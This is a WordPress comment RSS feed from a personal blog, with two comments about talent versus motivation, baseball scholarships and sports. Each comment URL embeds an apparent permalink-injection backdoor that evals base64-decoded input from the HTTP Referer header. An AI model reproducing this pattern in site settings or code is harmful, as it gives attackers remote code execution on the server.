Comments for Random Speak - by Nelson Rivera http://nelsonrivera.net/blog Welcome to Random Speak, where I cover topics ranging from business to sports to family. Sat, 07 Jul 2007 04:45:19 -0500 http://wordpress.org/?v=2.8 hourly 1 Comment on All It Takes is One Extra Degree by Nelson Rivera http://nelsonrivera.net/blog/2007/02/11/all-it-takes-is-one-extra-degree/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-3 Nelson Rivera Sat, 07 Jul 2007 04:45:19 +0000 http://nelsonrivera.net/blog/all-it-takes-is-one-extra-degree/#comment-3 Chris, Thank you for your comments. I agree whole-heartedly, talent is a key factor in being a success at anything in life. However, there are so many "talented" people in life who never realize their full potential, all because they are missing that 'extra degree'. For whatever reason, maybe they don't know or believe they can be even better or maybe they aren't as passionate about what they are doing either. Whatever the case, they are simply "average" at what they do. The video assumes that the passion and some talent are already there. This is about what it takes to make the difference between good and great or simply making your best even better. My entire life I had to fight the stereotypes regarding my size when it came to baseball. I was never the most talented, but I had heart and the passion to succeed. I never gave up and I used the motivation of proving to everyone that I was a good ball player. I used the motivation and desire to play college baseball to land an athletic scholarship to play baseball in college. When I was offered this scholarship, my teammates from my summer team didn't congratulate me, they were simply astounded that I was offered a scholarship and were looking for reasons "why". The problem was they were looking at me, instead of themselves. Maybe if they were "motivated" enough they could've gotten a scholarship of their own. I never gave up, and lord knows that if I had listened to everyone else, I would've given up in high school. Going back to the premise of this post, it wasn't my talent that got me the scholarship it was simply passion and turning it up that one extra degree. P.S. A player by the name of Spud Webb might have a "little" something to say about height and playing in the pro's. ;) But I get your point... Chris,

Thank you for your comments. I agree whole-heartedly, talent is a key factor in being a success at anything in life. However, there are so many “talented” people in life who never realize their full potential, all because they are missing that ‘extra degree’. For whatever reason, maybe they don’t know or believe they can be even better or maybe they aren’t as passionate about what they are doing either. Whatever the case, they are simply “average” at what they do.

The video assumes that the passion and some talent are already there. This is about what it takes to make the difference between good and great or simply making your best even better.

My entire life I had to fight the stereotypes regarding my size when it came to baseball. I was never the most talented, but I had heart and the passion to succeed. I never gave up and I used the motivation of proving to everyone that I was a good ball player. I used the motivation and desire to play college baseball to land an athletic scholarship to play baseball in college. When I was offered this scholarship, my teammates from my summer team didn’t congratulate me, they were simply astounded that I was offered a scholarship and were looking for reasons “why”. The problem was they were looking at me, instead of themselves. Maybe if they were “motivated” enough they could’ve gotten a scholarship of their own.

I never gave up, and lord knows that if I had listened to everyone else, I would’ve given up in high school. Going back to the premise of this post, it wasn’t my talent that got me the scholarship it was simply passion and turning it up that one extra degree.

P.S. A player by the name of Spud Webb might have a “little” something to say about height and playing in the pro’s. ;) But I get your point…

]]> Comment on All It Takes is One Extra Degree by cheer http://nelsonrivera.net/blog/2007/02/11/all-it-takes-is-one-extra-degree/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-2 cheer Fri, 06 Jul 2007 22:51:07 +0000 http://nelsonrivera.net/blog/all-it-takes-is-one-extra-degree/#comment-2 Well I'd argue that what the Bears were missing was a quality QB, rather than that last degree. :) But that shouldn't diminish your point, which is a valid one. The question becomes, at what point is the issue motivation and what point ability? At 5'8" there's not a motivational philosophy in the world that would make me an NBA center. On the other hand, clearly I can eek out some sort of living in the networking business. Between those two items is a larger gray area of things that I can do and things I cannot. Motivation will never make me accomplish something that I simply cannot do, but motivation certainly can (and is) the difference in whether or not I can accomplish something that is within my capabilities. Well I’d argue that what the Bears were missing was a quality QB, rather than that last degree. :) But that shouldn’t diminish your point, which is a valid one.

The question becomes, at what point is the issue motivation and what point ability? At 5′8″ there’s not a motivational philosophy in the world that would make me an NBA center. On the other hand, clearly I can eek out some sort of living in the networking business. Between those two items is a larger gray area of things that I can do and things I cannot. Motivation will never make me accomplish something that I simply cannot do, but motivation certainly can (and is) the difference in whether or not I can accomplish something that is within my capabilities.

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